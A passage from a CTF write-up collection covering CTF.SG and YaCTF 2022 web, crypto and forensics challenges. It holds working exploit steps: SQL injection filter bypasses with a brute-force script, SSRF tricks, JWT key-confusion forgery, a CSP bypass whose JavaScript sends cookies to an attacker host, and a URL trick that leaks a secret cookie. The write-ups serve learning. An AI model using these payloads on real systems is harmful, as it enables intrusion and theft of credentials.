def dependencies():
    pass

def tamper(payload, **kwargs):
    return "a" * 8192 + payload
```

Dumping the database with SQLMap then gave the flag :smile:

`CTFSG{A_Cru3l_Summ3r_W1th_SAO_RELEASE_RECOLLECTION}`

### Is There a Mitigation?

Looking at the [managed rule groups changelog](https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-changelog.html), it seems the `SizeRestrictions_BODY` rule in the Core Rule Set was recently changed to block payloads larger than 8kB instead of 10kB, likely due to [this blog post](https://osamaelnaggar.com/blog/aws_waf_dangerous_defaults/).

If we use the above rule together with SQLi detection, this would be mitigated. But this is not a default rule added out of the box, and a developer would likely not be aware that one has to use it in order to make their WAF effective. :thinking:


# Senpai

> Rin or Sakura?\
> \
> <http://chals.ctf.sg:40201\\>
> \
> author: Gladiator

### Authentication Logic

The end-goal, of course, is to get to `/flag`, but there is a `role` attribute in the JWT token that we must change to `admin` in order to pass the `IsAdmin` check.

```go
func flagHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	role, _ := config.GetTokenRole(r)
	username, err := config.GetTokenUsername(r)
	if err != nil {
		http.Error(w, "An error has occured", http.StatusBadRequest)
		return
	}
	user, _ := data.GetUser(username)
	if (config.TokenValid(r, user.Otp)) == nil {
		if config.IsAdmin(role) {
			fmt.Fprint(w, logic.Flagger())
		}
		return
	}
	return
}
```

Let's look at the registration and login flow. This time, it seems like `user.Otp` is actually the JWT key - each user's key would be different!

```go
func newJWTUserKey() string {
	partOne := strings.Replace(config.GenUUID(), "-", "", -1)
	partTwo := strings.Replace(config.GenUUID(), "-", "", -1)
	partThree := strings.Replace(config.GenUUID(), "-", "", -1)
	newOTP := partOne + partTwo + partThree
	return newOTP
}

func Register(account data.RegisterAccount) bool {
	var newAccount data.UserAccount
	newAccount.Username = account.Username
	newAccount.Password = account.Password
	newOTP := newJWTUserKey()
	newAccount.Otp = newOTP
	newAccount.Verified = "true"
	return data.InsertUser(&newAccount)
}
```

The JWT key is then used to sign the token when we log in.

```go
func loginHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	var login data.UserAccount
	err := json.NewDecoder(r.Body).Decode(&login)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	state, jwtKet := logic.Login(login)
	if state == false {
		http.Error(w, "Account does not exists, or account credentials are wrong", http.StatusBadRequest)
		return
	}
	token, _ := config.CreateToken(login.Username, jwtKet)
	fmt.Fprint(w, "Account logged in, your token is: "+token)
}
```

What's interesting, though, is that there is a caching mechanism that stores each user's JWT key in a Redis cache after logging in. Presumably, in real-world applications such a caching mechanism would save time in performing database lookups each time JWT authentication occurs.

```go
func Login(account data.UserAccount) (bool, string) {
	var user *data.UserAccount
	user, _ = data.GetUser(account.Username)
	if user == nil {
		return false, ""
	}
	if config.CheckPasswordHash(account.Password, user.Password) == false {
		return false, ""
	}
	if user.Verified == "false" {
		return false, ""
	}
	cache.Set(user.Username, user.Otp, 999999999999)
	return true, user.Otp
}
```

Sidenote: the key is only stored for two seconds, so we have to be quick here!

```go
func Set(key string, jwtkey string, exp int) error {
	client := redis.NewClient(&redis.Options{
		Addr:     "localhost:6379",
		Password: "",
		DB:       0,
	})
	err := client.Set(key, jwtkey, time.Second*2).Err()
	if err != nil {
		return err
	}
	return nil

}
```

### SSRF and Obtaining Cached Secrets

There exists a non-admin path, `/sakura` that does allow us to interact with the Redis cache.

```go
func sakuraeHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	output := logic.CacheHelper(r)
	fmt.Fprint(w, output)
	return
}
```

However, we could see in the cache-fetching mechanism that the client URL is validated to be `127.0.0.1`.

```go
func IsLocal(ip string) bool {
	return ip == "127.0.0.1"
}
```

```go
func CacheHelper(r *http.Request) string {
	ip, _ := remoteaddr.Parse().IP(r)
	if !config.IsLocal(ip) {
		return "I get older but your lovers stay my age."
	}
	result, err := cache.Get(r.URL.Query().Get("key"))
	if err != nil {
		return ""
	}
	return result
}
```

That leaves us with `/rin`. The handler logic presents us with the all-too-familiar SSRF code:

```go
func HeavensFeel(r *http.Request) http.Response {
	val := config.Process(r)
	if val == "" {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	resp, err := http.Get(val)
	if err != nil {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	return *resp
}
```

Again, the client IP is checked. But this time, the logic is slightly different. Instead of using `remoteaddr.Parse().IP(r)`, the server is directly looking at the `X-Forwarded-For` header!

```go
var local string = "X-Forwarded-For"

...

func GetIP(r *http.Request) string {
	return r.Header.Get(local)
}

...

func Process(r *http.Request) string {
	if IsLocal(GetIP(r)) {
		return r.URL.Query().Get("url")
	}
	return ""
}
```

By adding `X-Forwarded-For: 127.0.0.1`, we can access this function and perform an SSRF to the `/sakura` endpoint.

```http
POST /rin?url=http://localhost:8081/sakura?key=socengexp HTTP/1.1
Host: chals.ctf.sg:40201
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2NDcyNDI0NDIsInJvbGUiOiJ1c2VyIiwidXNlcm5hbWUiOiJzb2NlbmdleHAifQ.Y56UmyxoibdVHxvFjN03GI_RXeIgVBl76pQZDmih6Mo
X-Forwarded-For: 127.0.0.1
```

As mentioned earlier, the cached secret only exists for 2 seconds after logging in, so we must make the above request right after logging in.

### Gaining the Admin Role

When we have the JWT secret, we could essentially craft any JWT attributes we want.

Using [https://jwt.io/](https://jwt.io) (or any JWT-signing library), supply the JWT secret and change the `role` to `admin`. We now have a new JWT token with an admin role.

![](/files/mELIynHdQb8T1scq11lJ)

Using this new JWT token, simply make a request to `/flag` to get the flag!

The flag is `CTFSG{Rin_Tohsaka_Best_Girl_uwu}`.


# We know this all too well

> And you were tossing me the car keys, f\*\*\* the patriarchy...\
> \
> JekGarb is a taxi company in an alternative universe that is 50 times the size of google, controlling the world's ride hailing services. I got hold of some their source, can you tell me what's wrong?\
> \
> <http://chals.ctf.sg:40301\\>
> \
> author: Gladiator

### OTP Verification

After we first register an account, we will quickly find that we won't be able to log in to our registered account yet - we need to verify our OTP first.

Let's take a look at how the verification is performed.

```go
func verifyHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	var otp data.UserAccount
	err := json.NewDecoder(r.Body).Decode(&otp)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	if logic.VerifyOTP(otp) == false {
		http.Error(w, "Failed to verify OTP", http.StatusBadRequest)
		return
	}
	fmt.Fprint(w, "Account Verified")
}
```

```go
func VerifyOTP(account data.UserAccount) bool {
	user, _ := data.GetUser(account.Username)
	if user == nil {
		return false
	}
	if account.Otp != user.Otp || account.Username != user.Username || config.CheckPasswordHash(account.Password, user.Password) == false {
		return false
	} else {
		data.SetVerified(account.Username)
	}
	return true
}
```

Hmm... no dice. Looks like the verification logic itself is sound, so we have to find our OTP through some other vulnerability. Since the rest of the functions require us to be authenticated, we are only left with the `/search` URL.

### Bypassing SQL Injection Protection

Sure enough, the MySQL query builder function looks like it's vulnerable to SQL injection. If we are able to control the `username` being substituted, we can escape out of the string.

```go
func MySqlQueryBuilderSearchUser(username string) string {
	return fmt.Sprintf("SELECT * FROM user WHERE username = '%s'", username)
}
```

The only problem is that spaces, `AND`, and `OR` are replaced with empty strings in our query.

```go
func MySqlRealEscapeString(query string) string {
	s := strings.TrimSpace(query)
	s = strings.ToLower(s)
	s = strings.Replace(s, " ", "", -1)
	s = strings.Replace(s, "and", "", -1)
	s = strings.Replace(s, "or", "", -1)
	return s
}
```

```go
func serachHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	username := r.URL.Query().Get("q")
	username = config.MySqlRealEscapeString(username)
	if logic.SearchByUsername(username) == false {
		http.Error(w, "User does not exists", http.StatusBadRequest)
		return
	}
	fmt.Fprint(w, username)
}
```

To bypass this, we make use of the fact that in MySQL, comments (`/**/`) can serve as spaces, and the above replacement is non-recursive.

Our payload would then be:

```
/search?q=socengexp'/**/AANDND/**/(SUBSTR(otp,<POSITION>,1))='<GUESS>
```

Which will be translated into the MySQL query:

```sql
SELECT * FROM user WHERE username = 'socengexp' AND (SUBSTR(otp,<POSITION>,1))='<GUESS>'
```

where `GUESS` can be varied to bruteforce the character at `POSITION` (and `socengexp` is my username :smile:)

Here's the script to find our OTP, though a custom SQLMap tamper script would probably work too.

```python
import requests, string

i = 1
result = ''
while True:
    found = False
    for char in string.ascii_letters + string.digits:
        r = requests.get(f"http://chals.ctf.sg:40301/search?q=socengexp'/**/AANDND/**/(SUBSTR(otp,{i},1))='" + char)
        
        if r.status_code != 400:
            print("Found " + char)
            result += char
            i += 1
            found = True
            break
            
    if not found:
        print("Not found")
        break

print(result)
```

With the OTP we found, we can verify and log in to the application.

### Bypassing SSRF Protection

This gives us access to `/cornelia`, which performs a GET request to a URL of our choice.

```go
func CorneliaStreet(r *http.Request) http.Response {
	cleanUrl := config.ProcessGet(r)
	if cleanUrl == "" {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	resp, err := http.Get(cleanUrl)
	if err != nil {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	return *resp
}
```

This looks like it might be vulnerable to SSRF, but the following validation prevents us from specifying `localhost` or `127.0.0.1` etc. directly.

```go
func ProcessGet(r *http.Request) string {
	var host string
	inputurl := r.URL.Query().Get("url")
	u, err := url.Parse(inputurl)
	if err != nil {
		return ""
	}
	if strings.Contains(u.Host, ":") {
		host, _, _ = net.SplitHostPort(u.Host)
	} else {
		host = u.Host
	}
	if u.Scheme == "" {
		return ""
	}
	ips, _ := net.LookupIP(host)
	for _, ip := range ips {
		if ipv4 := ip.To4(); ipv4 != nil {
			if ipv4.String() == "127.0.0.1" {
				return ""
			}
		}
	}
	return retrieveUrl(r)
}
```

That's fine, since the server follows redirects. By redirecting to `localhost:8081/flag`, we can access the flag.

```php
<?php
    Header("Location: http://localhost:8081/flag");
?>
```

The flag is `CTFSG{All_T00_W3ll_T3n_M1nutes_V3rs1on_Taylors_Version}`


# Don't Touch My Flag

> I found a flag on a server, though access seems to be protected by a secret. Being generous, I decided to share the flag with you through my proxy server.\
> \
> Oh, the censoring? Sorry about that, I'll remove it after this CTF is over.\
> \
> <http://chals.ctf.sg:40101\\>
> <http://chals.ctf.sg:40102\\>
> \
> author: JustinOng

This challenge consists of two servers - a proxy and a backend.

Let's take a look at how the proxy makes the request to the backend. The secret token is added to the cookies, and a user-controlled `uri` is joined to the backend URL using `urllib.parse.urljoin`.

```python
@app.route("/get")
def get():
    uri = request.args.get("uri", "/")
    full_url = urllib.parse.urljoin(os.environ["BACKEND_URL"], uri)

    r = requests.get(full_url, cookies={
        "secret": secret
    })
    if r.status_code != 200:
        return f"Request failed: received status code {r.status_code}"

    censored = censor(r.text)
    return censored
```

But `urljoin` doesn't fare well when presented with a malformed path.

```python
>>> from urllib.parse import urljoin
>>> urljoin("http://www.example.com", "test")
'http://www.example.com/test'
>>> urljoin("http://www.example.com", "/test")
'http://www.example.com/test'
>>> urljoin("http://www.example.com", "//test")
'http://test'
```

This allows us to get the proxy to make a request to our own server:

```http
GET /get?uri=//ATTACKER-URL HTTP/1.1
Host: chals.ctf.sg:40101
```

In the received request, we get the secret cookie.

```http
GET / HTTP/1.1
Host: ae64-42-60-216-15.ngrok.io
User-Agent: python-requests/2.27.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: secret=8byEt7F60cCSRpQs1jeAXQqByOsK5P5b
X-Forwarded-For: 178.128.25.242
X-Forwarded-Proto: http

```

Now we can send a request directly to the backend, which checks our secret before giving us the flag!

```python
@app.route("/flag")
def get_flag():
    if request.cookies.get("secret") != secret:
        return "\N{Black Flag}"

    return flag
```

The flag is `CTFSG{d0nT_toUcH_mY_c00k13s}`


# Wildest Dreams Part 2

> The opener is back for another round of fun. Enjoy\
> \
> <http://chals.ctf.sg:40401\\>
> \
> author: Gladiator

Taking a look at the source, we see that we have to attack the following PHP code:

```php
<?php
	if(!empty($_GET['i1']) && !empty($_GET['i2'])){
		$i1 = $_GET['i1'];
		$i2 = $_GET['i2'];
		var_dump(md5($i1) == md5($i2));
		if($i1 === $i2){
			die("i1 and i2 can't be the same!");
		}
		$len1 = strlen($i1);
		$len2 = strlen($i2);
		if($len1 < 15){
			die("i1 is too shorttttttt pee pee pee pee pee");
		}
		if($len2 < 15){
			die("i2 is too shorttttttt pee pee pee pee pee");
		}
		if(md5($i1) == md5($i2)){
			echo $flag;
		}
		echo "<br>The more that you say, the less i know.";
	} else {
		echo "<br> You need to provide two strings, i1 and i2. /1989.php?i1=a&i2=b";
	}
?>
```

We are essentially looking for two strings whose MD5 hashes are "equal" to each other. In PHP, `==` (as opposed to `===`) means that we are using loose comparison. In particular, when a string starts with `0e...`, PHP will treat it as a float with value 0.0 (following scientific notation).

```bash
$ php -r "var_dump('0e1' == 0.0);"
bool(true)
$ php -r "var_dump('0e1' == '0e2');"
bool(true)
```

The result of this is that there are "magic hashes" that are considered equal to each other, and nice [lists](https://github.com/spaze/hashes/blob/master/md5.md) of strings that result in these magic hashes.

Using two of these strings with length 15 or more, we can solve this challenge.

`GET /1989.php?i1=hello14916008992&i2=hello14943865304 HTTP/1.1`

The flag is `CTFSG{you_see_me_in_h1nds1ght_tangled_up_with_you_all_night}`


# Chopsticks

Both challenges are based on the [Chopsticks game](https://en.wikipedia.org/wiki/Chopsticks_\(hand_game\)), but with twists on the rules.

Here are the rules for the first game:

```
+-------------------------------------------------+
| Rules:                                          |
| This game is similar to the game Chopsticks:    |
|   en.wikipedia.org/wiki/Chopsticks_(hand_game)  |
|                                                 |
| * Each person starts with two boxes, with 1     |
|   feather.                                      |
| * If any box has at least 1 feather, it is live |
| * If any box has no feathers, it is dead        |
| * If any box contains more than 6 feathers, it  |
|   is dead, and has all its feathers taken out.  |
| * If a player has both boxes dead, the player   |
|   loses.                                        |
| * At each turn, a player can either:            |
|   * Attack: Add all feathers from one box to    |
|     another (their own or another player's)     |
|       * You can't attack to and from a dead box |
|   * Split: Split the feathers between their     |
|     own boxes.                                  |
|       * A split that results in one box having  |
|         one or zero feathers is not allowed.    |
|       * A split can only happen if both boxes   |
|         are live.                               |
| * Loops are disallowed                          |
|   * The game will prevent you from entering a   |
|     state already visited.                      |
+-------------------------------------------------+
```

And the second:

```
+-------------------------------------------------+
| Rules:                                          |
| This game is similar to the game Chopsticks:    |
|   en.wikipedia.org/wiki/Chopsticks_(hand_game)  |
|                                                 |
| * Each person starts with two boxes, with 1     |
|   feather.                                      |
| * If any box has at least 1 feather, it is live |
| * If any box has no feathers, it is dead        |
| * If any box contains more than 6 feathers, it  |
|   is dead, and has all its feathers taken out.  |
| * If a player has both boxes dead, the player   |
|   loses.                                        |
| * At each turn, a player can either:            |
|   * Attack: Add all feathers from one box to    |
|     another (their own or another player's)     |
|       * You can't attack to and from a dead box |
|   * Split: Split the feathers between their     |
|     own boxes.                                  |
|       * A split that results in one box having  |
|         zero feathers is not allowed.           |
|       * A split can happen if one of the boxes  |
|         is dead, meaning a split can revive a   |
|         box.                                    |
| * Loops are disallowed                          |
|   * The game will prevent you from entering a   |
|     state already visited.                      |
+-------------------------------------------------+
```

### Simple Solution

It seems like many teams managed to solve both challenges by pitting the bot against itself. Since this is a solved game, two equally maximizing bots playing against each other will likely lead to the first player winning.

I didn't think of that for some reason...

### Solving with Minimax

What I did was write my own bot to play against the server's bot. Since the server's bot was likely using a similar algorithm as mine, I just had to increase the minimax depth until my bot could perform sufficient lookaheads to play better than the server's bot.

Surprisingly I only needed a depth of 5 to win and didn't need to implement alpha-beta pruning since it was returning a result fast enough.

The evaluation score is 1000 if we win, -1000 if we lose, and the difference between the total number of our feathers and the total number of the opponent's feathers otherwise.

```python
def get_score(board, player, depth):
    """Use the minimax algorithm to search up to <depth>"""

    winner = get_winner(board)
    if winner:
        if winner == 1:     # Maximizing player
            return 1000
        else:
            return -1000

    if depth == 0:
        return board['A'] + board['B'] - board['C'] - board['D']
    
    attacks = available_attacks(board, player)
    splits = available_splits(board, player)
    if not attacks and not splits:
        return 0

    max_value = -1000
    min_value = 1000

    for attack in attacks:
        temp_board = board.copy()
        from_hand, to_hand = attack

        temp_board[to_hand] += temp_board[from_hand]
        if temp_board[to_hand] > 6:
            temp_board[to_hand] = 0     # die

        value = get_score(temp_board, 3 - player, depth - 1)

        if player == 1:
            # Maximizing player
            max_value = max(max_value, value)
        else:
            # Minimizing player
            min_value = min(min_value, value)
    
    for split in splits:
        temp_board = board.copy()
        left, right = split

        if player == 1:
            temp_board['A'] = left
            temp_board['B'] = right
        
        else:
            temp_board['C'] = left
            temp_board['D'] = right

        value = get_score(temp_board, 3 - player, depth - 1)
        
        if player == 1:
            # Maximizing player
            max_value = max(max_value, value)
        else:
            # Minimizing player
            min_value = min(min_value, value)

    if player == 1:
        return max_value
    else:
        return min_value
```

We also had to account for the fact that the sever prevents us from returning to a previously visited game state, so we will keep track of visited states on our end as well.

Sorry for the repeated and inefficient code, I was stressed and just trying to get it to work :cry:

```python
def get_best_move(board):
    
    # We are player 1
    
    attacks = available_attacks(board, 1)
    splits = available_splits(board, 1)

    max_value = -1000
    max_move = []

    for attack in attacks:
        temp_board = board.copy()
        from_hand, to_hand = attack

        temp_board[to_hand] += temp_board[from_hand]
        if temp_board[to_hand] > 6:
            temp_board[to_hand] = 0

        if temp_board in visited:
            continue

        value = get_score(temp_board, 2, DEPTH)

        if value > max_value:
            max_value = value
            max_move = ['attack', attack]

    for split in splits:
        temp_board = board.copy()
        left, right = split

        temp_board['A'] = left
        temp_board['B'] = right

        if temp_board in visited:
            continue

        value = get_score(temp_board, 2, DEPTH)

        if value > max_value:
            max_value = value
            max_move = ['split', split]

    return max_move
```


# YaCTF 2022

Yet Another CTF is a computer security competition organized by Yandex and run by SPbCTF crew.

## About

Yet Another CTF is an individual CTF organized by the [Yandex](https://yandex.ru/company/) security team.

It was the first time that this CTF is opened to the public, and I managed to finish in 13th place!

![](/files/vf3C70IEp0EcnpYbrGr5)

## Writeups

| Challenge Name                                       | Category  | Points |
| ---------------------------------------------------- | --------- | ------ |
| [Shiba](/2022/yactf-2022/shiba#baby-challenge)       | Web       | 100    |
| [Shiba Inner](/2022/yactf-2022/shiba#hard-challenge) | Web       | 256    |
| [Flag Market](/2022/yactf-2022/flag-market)          | Web       | 139    |
| [Pasteless](/2022/yactf-2022/pasteless)              | Web       | 347    |
| [Secretive](/2022/yactf-2022/secretive)              | Crypto    | 295    |
| [Metapdf](/2022/yactf-2022/metapdf)                  | Forensics | 221    |
| [Crackme](/2022/yactf-2022/crackme)                  | Reverse   | 124    |


# Shiba

## Baby Challenge

The first challenge was simply to "press Boop 1500 times".

We could automate the API requests.

```python
import requests

session = requests.Session()
session.get('https://shiba.yactf.ru/')

for i in range(1500):
    r = session.get('https://shiba.yactf.ru/api/boop')
    print(i, r.text)

r = session.get('https://shiba.yactf.ru/')
print(r.text)
print(session.cookies.get_dict())
```

After 1500 iterations, we get the flag.

```
Gratz! Baby flag: yactf{b00p_bO0p_b0op_b00p_b0Op1Ty_bO0p}. But your real-flag is in another castle: at 1501 boops
```

## Hard Challenge

The goal of this challenge is to somehow get 1501 "boops". However, the server stops incrementing the "boops" after reaching 1500.

We could firstly see that the server uses JWT tokens to count the number of "boops".

![](/files/9VtbdqUaCDSkNU2TnlmL)

The public key is provided in `/signature/key.pub`, which is hinted by `/robots.txt`.

```go
r := gin.Default()
r.Static("/static", "./static")
r.Static("/images", "./images")
r.Static("/signature", "./signature")
r.LoadHTMLGlob("templates/*.html")
r.GET("/robots.txt", func(c *gin.Context) {
    c.String(200, "//TODO PublicKey at /signature/key.pub")
})
```

Let's take a look at how the server processes the supplied JWT. The server accepts both HS256 and RS256 tokens, but notice that the public key, `verifyKey` is used to validate the JWT signature in both cases.

```go
verifyBytes, _ := ioutil.ReadFile(pubKeyPath)
verifyKey, _ = jwt.ParseRSAPublicKeyFromPEM(verifyBytes)

...

token, err := jwt.ParseWithClaims(cookie, &MyCustomClaims{}, func(token *jwt.Token) (interface{}, error) {
    if token.Method == jwt.SigningMethodHS256 {
        return x509.MarshalPKCS1PublicKey(verifyKey), nil
    }
    if token.Method == jwt.SigningMethodRS256 {
        return verifyKey, nil
    }
    return verifyKey, nil
})
```

This is interesting because we have knowledge of the public key. HMAC, by definition, does not have the concept of a public/private key pair - the signing and verification must be performed using the same secret key.

The private key, `signKey` is used to sign RS256 tokens, but note that we could just as easily generate our own HS256 token, using the known public key. This would then be validated by the server since the same public key is used for validation.

```go
signBytes, _ := ioutil.ReadFile(privKeyPath)
signKey, _ = jwt.ParseRSAPrivateKeyFromPEM(signBytes)

...

// Return new JWT TOKEN
returnClaims := MyCustomClaims{
	boops,
	jwt.StandardClaims{
		ExpiresAt: time.Now().Unix() + 15000,
		Issuer:    "Boops Company",
	},
}
returnToken := jwt.NewWithClaims(jwt.SigningMethodRS256, returnClaims)
tokenString, _ := returnToken.SignedString(signKey)
```

To do this, we simply sign a token with the public `verifyKey`.

```go
test := jwt.NewWithClaims(jwt.SigningMethodHS256, MyCustomClaims{
    1501,
    jwt.StandardClaims{
        ExpiresAt: time.Now().Unix() + 15000,
        Issuer:    "Boops Company",
    },
})
fmt.Println(test.SignedString(x509.MarshalPKCS1PublicKey(verifyKey)))
```

The flag is `yactf{Oh_G00d_pOor_ch3emS_5o_m4ny_boOpS}`.


# Flag Market

The goal of the challenge was to buy a flag. However, our balance starts from 0.

We could see that when selling the flag, the relevant code does not validate that the flag price is positive.

```java
@PostMapping("/sell")
public String sellFlag(@Valid Flag flag, BindingResult bindingResult, Model model, Principal principal) {
    Flag flagExists = flagService.findByName(flag.getName());
    if (flagExists != null) {
        bindingResult.rejectValue("name", "error.user",
                "There is already a flag with the name provided");
    }
    if (principal != null) {
        User user = userService.findByUsername(principal.getName());
        model.addAttribute("current_user", user);
        flag.setSeller(user);
        flagService.saveFlag(flag);
    }
    return "redirect:flag/" + flag.getSlug();
}
```

Thereafter, the flag is saved into the database.

```java
@Override
public void saveFlag(Flag flag) {
    flag.setSlug(UUID.randomUUID().toString());
    flag.setPinned(false);
    flag.setHidden(true);
    flagRepository.save(flag);
}
```

We could thus sell a flag with a negative price. In the `buyFlag` function, this negative price is subtracted from `buyerBalance`, increasing the buyer's total balance.

```java
@Override
public Boolean buyFlag(Flag flag, User buyer) {
    if (buyer.getPurchasedFlagsCount() >= 2) {
        return false;
    }
    if(buyer.getBalance() > flag.getPrice()) {
        Integer buyerBalance = buyer.getBalance();
        User seller = flag.getSeller();
        Integer sellerBalance = seller.getBalance();
        buyer.setBalance(buyerBalance - flag.getPrice());
        seller.setBalance(sellerBalance + flag.getPrice());
        userService.updateUser(seller);
        userService.updateUser(buyer);
        userService.increasePurchasedFlagCountById(buyer.getId());
        return true;
    } else {
        return false;
    }
}
```

1\) Sell a flag with a negative price

```http
POST /sell HTTP/1.1
Host: flag-market.yactf.ru
Cookie: JSESSIONID=C711887D4DC8C674B65CEE65EE3E630D
Content-Length: 93
Origin: https://flag-market.yactf.ru
Content-Type: application/x-www-form-urlencoded
Connection: close

_csrf=...&price=-2000
```

2\) Buy the flag from a second account

3\) Perform a simple IDOR to get the flag with `flag_id=3`

```http
POST /buy HTTP/1.1
Host: flag-market.yactf.ru
Cookie: JSESSIONID=C748582E79B81447C43554243CCDC403
Content-Length: 52
Origin: https://flag-market.yactf.ru
Content-Type: application/x-www-form-urlencoded
Connection: close

_csrf=4ea95070-85b4-4f65-86f6-7c384cd5dbad&flag_id=3
```


# Pasteless

It was pretty obvious that we had to perform an XSS here, but the Content Security Policy had to be bypassed.

```markup
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; 
    script-src 'self' 'nonce-2ac41eb7-a3d1-4f8b-a06d-369e439ff08f'; 
    img-src 'self' ext.captcha.yandex.net">
```

I noticed that near the bottom of the page, relative JavaScript paths are used.

```markup
<script nonce="2ac41eb7-a3d1-4f8b-a06d-369e439ff08f" src="/static/jquery.min.js" crossorigin="anonymous"></script>
<script nonce="2ac41eb7-a3d1-4f8b-a06d-369e439ff08f" src="/static/bootstrap.min.js" crossorigin="anonymous"></script>
<script nonce="2ac41eb7-a3d1-4f8b-a06d-369e439ff08f" src="/static/page.js" crossorigin="anonymous"></script>
```

We can make use of the `nonce` in these script tags - these scripts will always be executed, because the CSP allows them based on their `nonce`.

If we change the base URI of the page to our own attacker server, then these relative paths will now load scripts from our server, which is otherwise not possible due to the CSP.

`<base href=//351b-42-60-216-15.ngrok.io>`

The relative paths are now URLs under our attacker server, so if we simply host a file `/static/page.js` and enable CORS on our server, then we could execute arbitrary JS through this file.

In order to exfiltrate data, we still need to bypass the CSP once again. This is much simpler, now that we know the `nonce`. We could simply create a new script element and add the appropriate `nonce` obtained from the rest of the script tags. The script source can then be set to the data we want to exfiltrate.

```javascript
let script = document.createElement('script');
script.nonce = document.querySelector('script').nonce
script.src = `/?cookie=${document.cookie}`

document.body.appendChild(script);
```

We should now be able to receive the flag on our attacker server.

```
[2022-02-12T16:15:22.094Z]  "GET /?cookie=ctf-flag=yactf{h7ml_tAgs_423_b3au71ful_whAt_cAn_Go_wROng}
```


# Secretive

The app uses AES to encrypt messages, with keys generated from a Linear Congruential Generator (LCG). If we are able to find previously-generated values from the LCG, then we could find the keys used to encrypt the flag.

```python
class Secretizer:
    def __init__(self):
        self._lcg = None

    def init_app(self, app):
        self._lcg = LCG(app.config["LCG_SEED"], app.config["LCG_A"], 
                       app.config["LCG_C"], app.config["LCG_M"])
    
    ...

    def _gen_new_key(self):
        return map(lambda _: self._lcg.random(), range(4))

    def secretize_msg(self, msg):
        key = self._gen_new_key()
        key_str = self._key_to_keystr(key)
        cipher = AESCipher(key_str)
        encrypted_msg = cipher.encrypt(msg)
        return (encrypted_msg, key)
```

The LCG implementation is as follows.

```python
from __future__ import unicode_literals, absolute_import, print_function

class LCG:
	def __init__(self, seed, a, c, m):
		self._seed = seed
		self._x = seed
		self._a = a
		self._c = c
		self._m = m

	def random(self):
		next_x = (self._a * self._x + self._c) % self._m
		self._x = next_x
		return self._x
```

LCGs can be quite easily [broken](https://teamrocketist.github.io/2019/03/31/Crypto-VolgaCtf2019-LG/), allowing us to find the values of `a`, `c` and `m`. We need to submit two messages, so that we get a pair of keys and their corresponding LCG-generated values. This is sufficient for us to find the LCG parameters.

```python
X = []
for _ in range(7):
    X = [344919848, 133572217, 3837144844, 602813605, 3658183952, 3608054065, 2853669428, 2349514525]

Det_X = []
Det_X.append(calc_det(1, 2, X))
Det_X.append(calc_det(2, 3, X))
Det_X.append(calc_det(3, 4, X))
Det_X.append(calc_det(4, 5, X))

found_p = reduce(GCD, Det_X)

mod_inv_a = modInverse((X[2]-X[3]), found_p)
found_a = ((X[3] - X[4])*mod_inv_a) % found_p

found_c = (X[4] - found_a*X[3]) % found_p

print("Found: %d as P, %d as a and %d as c" % (found_p, found_a, found_c))

P, a, c = found_p, found_a, found_c
```

Now, we need to [reverse the LCG](https://stackoverflow.com/questions/2911432/reversible-pseudo-random-sequence-generator) to find previously-generated values.

To do this, note that we can reorder the LCG next-state equation and apply the modular inverse of `a` to find the previous value of `x`.

```
x ≡ a * prevx + c (mod m)
x - c ≡ a * prevx (mod m)
ainverse * (x - c) ≡ ainverse * a * prevx (mod m)
ainverse * (x - c) ≡ prevx (mod m)
```

Starting from the most recently-generated value, we can work backwards to the first 4 generated values, which would be the key used to encrypt the flag.

```python
x = 2349514525
x = (a * x + c) % P

for i in range(1411):
    print('------------------' + str(1411 - i))
    x = (modinv(a, P) * (x - c)) % P
    print(x)
    x = (modinv(a, P) * (x - c)) % P
    print(x)
    x = (modinv(a, P) * (x - c)) % P
    print(x)
    x = (modinv(a, P) * (x - c)) % P
    print(x)
```

With the key found, we can obtain the flag!

![](/files/kkBPobzbUrmhMhNXwdMi)


# MetaPDF

Putting the PDF into `pdf-parser.py`, I found that there was an abnormally long object.

![](/files/2aJsUQ3yx5FUxotKgojg)

It appeared to have lots of ASCII characters encoded in hex, so I extracted the hex characters.

```python
from Crypto.Util.number import *

stuff = 0xFEFF000000010061006D006F00390066006C00740064004F00320070007100500058007400660058003100380036004B007900740071006100690077006B004A00430051006B004F00690067006800570031003000720049006900490070005700320070007100580053007800660058007900510036004B007900740071006100690077006B0058007900520066004F0069006700680057003100300072004900690049007000570032007000710058005300780066004A004600380036004B007900740071006100690077006B005800790051006B004F006900680037006600530073006900490069006C00620061006D00700064004C00430051006B0058007900510036004B0047007000710057003200700071005800530073006900490069006C00620061006D00700064004C00460038006B004A0044006F0072004B003200700071004C00430051006B004A004600380036004B004300450069004900690073006900490069006C00620061006D00700064004C0043005200660058007A006F0072004B003200700071004C004300520066004A0044006F0072004B003200700071004C00430051006B0058003100380036004B004800740039004B007900490069004B0056007400710061006C00300073004A004300520066004F0069007300720061006D006F0073004A00430051006B004F0069007300720061006D006F0073004A0046003900660058007A006F0072004B003200700071004C0043005200660058007900510036004B0079007400710061006E003000370061006D006F0075004A004600380039004B004700700071004C0069005200660050005700700071004B007900490069004B005600740071006100690034006B0058007900520064004B0079006800710061006900350066004A004400310071006100690034006B005800310074007100610069003500660058007900520064004B00530073006F0061006D006F0075004A004300510039004B004700700071004C00690051007200490069004900700057003200700071004C006C00390066004A004600300070004B00790067006F0049005700700071004B00530073006900490069006C00620061006D006F0075005800790051006B005800530073006F0061006D006F007500580031003800390061006D006F0075004A0046003900620061006D006F0075004A00430052006600580053006B0072004B004700700071004C006900510039004B004300450069004900690073006900490069006C00620061006D006F0075005800310038006B00580053006B0072004B